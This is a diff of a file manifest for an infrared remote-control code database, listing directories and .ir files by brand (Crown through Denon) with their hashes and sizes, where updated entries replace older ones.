+F:222a9ed2bf7db1ac9fb83c2862ad2331:1449:infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir +F:1bb20dcb63a4f1c15c0741f5f278870b:3629:infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir D:infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV -F:af86571c6c051afc267fcb43df72cd6b:3589:infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir +F:57ada46950d0336122a48d815fbc939c:3359:infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir D:infrared/_CSV-IRDB_/Curtis Mathes/VCR -F:d21ad91925d5b41682b13bd9d81947b0:2501:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir -F:e6b51d69d9c699ec42cedbfaa135d999:1046:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir +F:5e350f025fadc601e05cc8a0e188a477:2337:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir +F:03e4b8de75daf50916b88a0d2da8df1d:978:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir D:infrared/_CSV-IRDB_/Cyberhome/DVD Player D:infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z D:infrared/_CSV-IRDB_/Cyberhome/Unknown_504 @@ -1986,55 +1986,55 @@ D:infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528 D:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD D:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302 D:infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome -F:57a0cfcbd545ba812b029901bc1d25a9:3732:infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir -F:54c0f6c823155ebd6432c2b4ecbfa115:4216:infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir -F:b340e7e2e4dc842fb4afc563a8a4dff7:4198:infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir -F:b4204618306b653aaf4f5d0604562c6b:4197:infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir -F:3b2ed156570ff9ab786dcd22ac1caff5:4057:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir -F:0635189f93c80e5371e09a5802f04c78:4183:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir -F:7aeaf27292ef9ba06f6e37101f9c7581:2394:infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir +F:c632c2964d277201d597d0377996d6fd:3490:infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir +F:12a91b7c5e155ed86d6843d371b7965e:3950:infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir +F:a5e89b3c6d537742e5d15b55f20f067f:3932:infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir +F:b7381ce7741a5d90e2a89f86d79d62f3:3931:infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir +F:99f64f32f76a7e62ca7dea65554d65e2:3803:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir +F:a9bbf0291853d4fb7635fba167ce90d2:3917:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir +F:77b869e5c758ba2291a5804f8424a04e:2242:infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir D:infrared/_CSV-IRDB_/Cypress/Unknown_CR-72 -F:ca0fed11b39ab8fd75d20d662f2eef84:503:infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir +F:c2e168cfb909f55f055cbdfc00433dc4:471:infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir D:infrared/_CSV-IRDB_/Cyron/Lighting Controller -F:c312931803660112ad02d4ff22039c90:2881:infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir +F:2aa436787fb11127df26eebe9d259699:2699:infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir D:infrared/_CSV-IRDB_/D-LINK/MP3 Player D:infrared/_CSV-IRDB_/D-LINK/Media Center D:infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320 D:infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye -F:c3bdd2756dcfdff15645d090ca52fa65:3041:infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir -F:a7fa65c8dd7f1bafd80050c6d2af7a46:3562:infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir -F:af49b5e1d93d207705e028abbd6f7dca:3900:infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir -F:dc04ba284efbd29ac4f098e44778311b:3698:infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir -F:072b952ede49fae5abccc5edab7809a4:4138:infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir -F:4be89979a3fc1de0860c931d1dad5ecf:2327:infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir +F:6ab32e38c92e671466975e4e36f2616a:2841:infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir +F:a4fecae79e3bd43efa73af4a82293625:3332:infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir +F:e9c7b59b56f68704cea0917c70d5ea8d:3646:infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir +F:b5fccc242b58f25a94d4e23d01030f9c:3456:infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir +F:f18d42f10dfd8659ca137fd55f3a1329:3878:infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir +F:1ef0e8fef1dffaf2791b732c17eb4726:2181:infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir D:infrared/_CSV-IRDB_/DBPower/Projector_T20 -F:62a772d3453bd8ed3d3d6065fad0f906:1151:infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir +F:f0f6fd1b912b1927061b1b95b3381390:1077:infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir D:infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S -F:e0b7e2857c559e12d68a83164c7b10ba:4463:infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir +F:bbe644f08b472c119f9efe772c89719f:4179:infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir D:infrared/_CSV-IRDB_/DK Digital/DVD Player D:infrared/_CSV-IRDB_/DK Digital/Unknown_Digital -F:5f058b4049e43808484fe4c31a3d98a0:3151:infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir -F:60cd8a0af96a7ea0ca08b22e8d3593d8:4495:infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir +F:36b965ef9010c54a6cc3f766a09f5d80:2945:infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir +F:fabd6737447840833ed57c59c8c66d52:4211:infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir D:infrared/_CSV-IRDB_/DLO/HomeDock -F:00e6437397176431fd4b35c57363ecae:4075:infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir +F:5c85d434e23a5d5e9e6b96f925f6248f:3821:infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir D:infrared/_CSV-IRDB_/DSE/Unknown_G1605 D:infrared/_CSV-IRDB_/DSE/Unknown_G1928 D:infrared/_CSV-IRDB_/DSE/Unknown_G7659 -F:5eee0002e5db84aca8e080129abe3bf9:3159:infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir -F:28cd8c8b0ac7f6d370cef1f1274158db:4657:infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir -F:b530dcece05bd9734d93257b809a92eb:3088:infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir +F:b7e88446fda0617931bb4d3bf963d88b:2959:infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir +F:18759c875c09512474ba62d6b2b0e603:4361:infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir +F:269adc5ae011ca19f01c3934ed015891:2894:infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir D:infrared/_CSV-IRDB_/DVDO/Scaler D:infrared/_CSV-IRDB_/DVDO/Video Processor -F:eab62481a69577c4812249d1ce5c0d12:126:infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir -F:4f9a053bd298bcc4905bcbbefcabaac2:8997:infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir -F:eab62481a69577c4812249d1ce5c0d12:126:infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir -F:281805436aa52baef369ddd1350b8296:3919:infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir +F:80bf0b01a1e4a9b95bb9d63164d256a7:118:infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir +F:19bd828e92f3a9f008aa5776af026417:8431:infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir +F:80bf0b01a1e4a9b95bb9d63164d256a7:118:infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir +F:db74986161e510795d286f2dcf09c1c2:3683:infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir D:infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote -F:ca80a82f2d0864785fe568f09ded4712:4292:infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir +F:ef4bea4a4fe390eec97a5f85b720a95c:4020:infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir D:infrared/_CSV-IRDB_/Da Lite/Screen -F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir +F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir D:infrared/_CSV-IRDB_/Daeumling/Unknown_SR200 -F:dbec03e9f39485f25064863434dd2eff:1894:infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir +F:4691fb9bb63c60bf42cba262ceccfa71:1772:infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir D:infrared/_CSV-IRDB_/Daewoo/DVD Player D:infrared/_CSV-IRDB_/Daewoo/TV D:infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3 @@ -2054,43 +2054,43 @@ D:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR D:infrared/_CSV-IRDB_/Daewoo/Unknown_Visa D:infrared/_CSV-IRDB_/Daewoo/Unknown_r-22 D:infrared/_CSV-IRDB_/Daewoo/VCR -F:714ce02e0a0ea712ee996dd8923a17b8:4016:infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir -F:74e53633d2f103fea724a6d1279d6327:936:infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir -F:73506c218739786afb91ff83d4ffa76a:242:infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir -F:ebc32aa08b0857ea0bbed4ad7fb87269:242:infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir -F:f3970becdf758c641115a4a231a5978d:2578:infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir -F:7c5b748044bc56447fedfcfb2e23672c:3386:infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir -F:3c51f6fed4aca07c089821e9d8d95e36:4086:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir -F:87f8efad70cb03c40810227c956296f9:2671:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir -F:0a4a84227d8f9e500599f7c156fa7929:2560:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir -F:4090278ed6db65bb0c8ac44b92752a98:3560:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir -F:3557bc86f987d3fa51f9eff6e6fe14f8:2860:infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir -F:b2c48a1316b3aced4fc983a92ae5061b:4690:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir -F:e2df497606edb76a2121ccdc26e702a2:3547:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir -F:0eaf9658efd863e7951afd623f2220a8:4122:infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir -F:178946dfa505020a32aca4762aa17b6c:2470:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir -F:6a3dd871cdc0a1f4fa98e60cd965cb6c:2297:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir -F:a46da720f7d5006c0608bc5345951cd0:1474:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir -F:01f22e25dccb342402513038c4f37cd9:2020:infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir -F:2e88795fdaef14cc1dbddcbadc7cac06:3292:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir -F:fabe38c3f3a688673d1c3d1b95eea2e5:2938:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir -F:e2a4ceb93076ea397c4c098dd329eb9d:3739:infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir -F:f55b39686ea013587e16cd4881b58ed3:3249:infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir -F:e5aec345fb32d05eee47af0fbba210c7:3263:infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir +F:12ce87a5ff47956c2ef494338cd853f9:3756:infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir +F:0bc66210949ee339eb11c79f6bc3b996:880:infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir +F:a8361d53b00f91f89059bd716103b810:228:infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir +F:cb9e129764fd5411d75c54049e256537:228:infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir +F:5c899c8fda060b32a554f2a657a5d9fb:2414:infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir +F:c65ab9d24a31db595b8efeed32c95f5d:3162:infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir +F:23b957e072f43cb435229c170e84cb60:3826:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir +F:872bcd3008d7e5a7767b526319f583b6:2495:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir +F:68f003138f0b7ec3a29309ea369aa8cc:2396:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir +F:6ec171f4dd747a52e3a54e902da2d90c:3330:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir +F:6e377619232873ca0e27dbfec62a7efd:2678:infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir +F:ec06e56a8d408129dbb6864bd5089d89:4382:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir +F:d3ab3430f5b040378cc866ac545a5d27:3311:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir +F:923d13ec1cbd88d36f780e6c611fe3e4:3862:infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir +F:e09f4188b10554d7f4b768b85b98b9e1:2306:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir +F:483304035fd5e0ac30a8adddcb3fbbdb:2145:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir +F:fd03493ed2bd81cfad9da8c0cc63899e:1376:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir +F:03dfe04d453c88ddfb5c56d253742383:1886:infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir +F:f0c7e4a36f4553e0579cf504a994f434:3074:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir +F:befd9a255d1cc2aad041488093373841:2750:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir +F:9ff8a7ea24d970828ae8c4a546361a99:3503:infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir +F:08b871a4e7309a8fdb2da6c5b0e4381c:3043:infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir +F:54ab1a6b62e44f603c82242fe3934094:3051:infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir D:infrared/_CSV-IRDB_/Dantax/DVD Player D:infrared/_CSV-IRDB_/Dantax/Unknown_RC -F:1711ff15b4283552a9b945c698d33ff2:4002:infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir -F:abf1239e3196735c96dd574e573e2a20:4396:infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir +F:982ffcf12d1d114bb9e833830bc38594:3742:infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir +F:6d97723519ebcac05f04fe16c0623a1e:4118:infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir D:infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher -F:664c41e893026428802b682b675d5a06:3868:infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir +F:5b376e2457d2d7c9e06b7a3973ec07c7:3614:infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir D:infrared/_CSV-IRDB_/Dell/TV D:infrared/_CSV-IRDB_/Dell/Unknown_XPS D:infrared/_CSV-IRDB_/Dell/Video Projector -F:8bb1f9e9cd7657cb06f8d8cd96da1c79:3312:infrared/_CSV-IRDB_/Dell/TV/0,28.ir -F:32f4750cb4ceef00b4270e3ecc4bda2f:1685:infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir -F:a5cd27ba8c9f6a7caecfc9100b30eef9:2803:infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir +F:a7934e6e7e2ef848701933f13552bfdb:3094:infrared/_CSV-IRDB_/Dell/TV/0,28.ir +F:345c10f9ac3efed849189ee08cb57e53:1581:infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir +F:84a7f59248373fd10ac11a11ea9887bd:2627:infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir D:infrared/_CSV-IRDB_/Delphi/Satellite Receiver -F:e98bbb53fde7ac9ae84737f248c26fa8:4501:infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir +F:cf1d81b2ff03a1a05b95806e63465310:4211:infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir D:infrared/_CSV-IRDB_/Denon/AV Processor D:infrared/_CSV-IRDB_/Denon/Amplifier D:infrared/_CSV-IRDB_/Denon/Blu-Ray @@ -2116,100 +2116,100 @@ D:infrared/_CSV-IRDB_/Denon/Unknown_RC-861 D:infrared/_CSV-IRDB_/Denon/Unknown_RC267 D:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251 D:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266 -F:1f015616f6264f024b26c1c7730849e1:1711:infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir -F:3585e7b7a877f4b78e36855e4f845252:2610:infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir -F:758ac6c139a4fa41ab570e505f56829d:235:infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir -F:f14461d53d5f0855cb0d35a1d7ff2db5:3808:infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir -F:c44180c92e87664efa3ff7def3631a20:9558:infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir -F:c3b0932b5e946f7a55a030d06d819840:3675:infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir -F:c8b25c96bb010588a63eacdc67eb2bb6:1704:infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir -F:19bfb5fe0b7ec5fc56755e695b153fc5:2158:infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir -F:bb27cb683ede842d6d06837a756889f1:4307:infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir -F:7320cad84f12442fa56633d1d2245bf6:707:infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir -F:23d687c0622225203364989628c3027f:5309:infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir -F:16bb9fb5d538fb22aa872541f9c5edac:3496:infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir -F:0b6022abc51c37cb4f2d24ce93762ea2:213:infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir -F:7320cad84f12442fa56633d1d2245bf6:707:infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir -F:12cddd513926d7664601e853bc25cf1d:4035:infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir -F:e99f3c41d39c9b664f016d0126827b58:15042:infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir -F:dd92416ad92545006658131c1181ee3e:1564:infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir -F:0434570db6fc453217d22e30fe224aa8:237:infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir -F:4a1673c37eb0170b229e176c954544b8:247:infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir -F:0365b573de5e0b405b419599ee2a23de:3309:infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir -F:d2efd9204cca2b13606e51f547c42e00:1538:infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir -F:2993e2166f22dd66b93a7c1b12d75f2c:614:infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir -F:144e4fa2f05e9340b042dffc21f6b87e:2890:infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir -F:f22ec2bc00a1d01ac89de977d9018532:627:infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir -F:9c570adc69177b9e5ee76deb7d8b0938:3012:infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir -F:91b05ce68b869ed4e963cf3111f491bc:7521:infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir -F:7b20ec4635cabff370caa0066ac77ab7:127:infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir -F:d1c02150e66ec60aa8c8083af81fd1e8:2390:infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir -F:b50206d0414455aed72847b72758fc9b:998:infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir -F:20183928e2969149f8fc4337dec2ec93:1897:infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir -F:729357794d7c287ea1348bd492fc4906:16821:infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir -F:9ed46f2e2718cd1e2a2323920ff084dc:4226:infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir -F:c773e51a71ee59d62d7f96ce30b4fae2:3146:infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir -F:f3f62efa006757a0995e849f8ae49dac:1314:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir -F:9409118d3c113350e81a61ffffe0d9c6:1331:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir -F:1f3be924a78d2dd1b546d9dd9f4508be:3367:infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir -F:c2470311e5b37c7af1acf3690b9d678a:6309:infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir -F:5bbf70a9a6b8bb863f3f24ef2417c2b8:729:infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir -F:e1bd00b5acd4f5cd5746a2af3ebb3992:427:infrared/_CSV-IRDB_/Denon/Processor/4,1.ir -F:9100ec954350ebccd296506dad5b8460:137:infrared/_CSV-IRDB_/Denon/Processor/4,3.ir -F:3d44b74d8307b3f5ed5064e380aa89fc:137:infrared/_CSV-IRDB_/Denon/Processor/4,5.ir -F:34abd57717e626d41ed90d4c4ee0c4f3:13578:infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir -F:ff6a1a39c2fe414d948537c3794dc484:10442:infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir -F:6071b624d187c740e50bab74add1d6dc:4033:infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir -F:22747d0cd0b0266e1d9a5784b803ec0a:5454:infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir -F:6be87595b87d47855e8a00b1cd177f5b:20780:infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir -F:3ba68b1bf95f2ac3307d53f1ec0324ea:2984:infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir -F:aae24b69c34da66f930a66d49baaa8d7:14452:infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir -F:75d952bf01f0d576ecd80ea15f844b53:4373:infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir -F:e1ff55fac105f5fa07de8867df8a52de:9818:infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir -F:1bdca3b852d2b58b072e1c2b1e1be7cc:2337:infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir -F:70106f2b39adc7f1e9db530f507edbcd:2817:infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir -F:4c9773af8d8f2f17ee0ebe1ae72fddea:2795:infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir -F:64e05d06e8c8af87fbdfb4d2c219a2f3:5973:infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir -F:f7793c392d6b25eb52c770a0a82a3edb:3978:infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir -F:5a38bc42b4a99d313915a9b131f11241:3891:infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir -F:78f40e5b1386024d0491d62e6865760a:9959:infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir -F:43da937e93cc8ce0900fd93292ce0ee7:674:infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir -F:47e681a1def013c97c6937ea93a85963:986:infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir -F:e49068e6af56f56adcae0697dc63a264:141:infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir -F:cb7156ffbf20c88725bf5b032592b8ba:5276:infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir -F:9409118d3c113350e81a61ffffe0d9c6:1331:infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir -F:3d58baca1256eaf6c13ba8a4925b4b99:3555:infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir -F:0414282bd9f64c476bffba3b2982f3c1:3442:infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir -F:0a8d020bf0bfd458b457236db49103ce:2491:infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir -F:4433f1706336bf1cfcac1490376182e2:2499:infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir -F:a4b1f6ac93dd48c7c207ef42e2ee40f9:2574:infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir -F:f9bcac36aaa8c9bc8449ed4baedeaa81:3726:infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir -F:5cef9ce5bb39d31112148ba6164e8792:5213:infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir -F:355d60f6608887e84b0361d4997e8a48:2964:infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir -F:f2f25286271aa8e37b080147d9020038:3434:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir -F:64ac1a82b61a29c79aa96d8c7d9cda69:3616:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir +F:4d98b8f3ee8698766c3168f1f258e309:1607:infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir +F:d4790927473fd75f71b55ba0b01999b2:2446:infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir +F:3995cabb019061fabbe5cd590b31796f:221:infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir +F:e3684ad2e4d96683b237d9c56ef0c75b:3578:infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir +F:ab65b2a0f0dd191d2f3d0314017fde24:8962:infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir +F:332feb42c681e425bb440bdf91fd5e74:3451:infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir +F:321b9fb76d20a8512b411d137d628ee2:1600:infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir +F:3063b217c91b6cf2238600fb3c77daf2:2024:infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir +F:b9320ae598debb4fd2d8e8ff9d7a9434:4029:infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir +F:83b68fd31dd61e396aa87c7112bf7ca9:663:infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir +F:0a1a0d2cd4ea018ba0529b4cb9c6beb4:4965:infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir +F:cc8076224a75025786b0414d1536c04a:3272:infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir +F:172a8d2e6ee4656ef6d2e0484c8e4e9a:199:infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir +F:83b68fd31dd61e396aa87c7112bf7ca9:663:infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir +F:46048b5a61d9864236e9832f9e4d64f8:3775:infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir 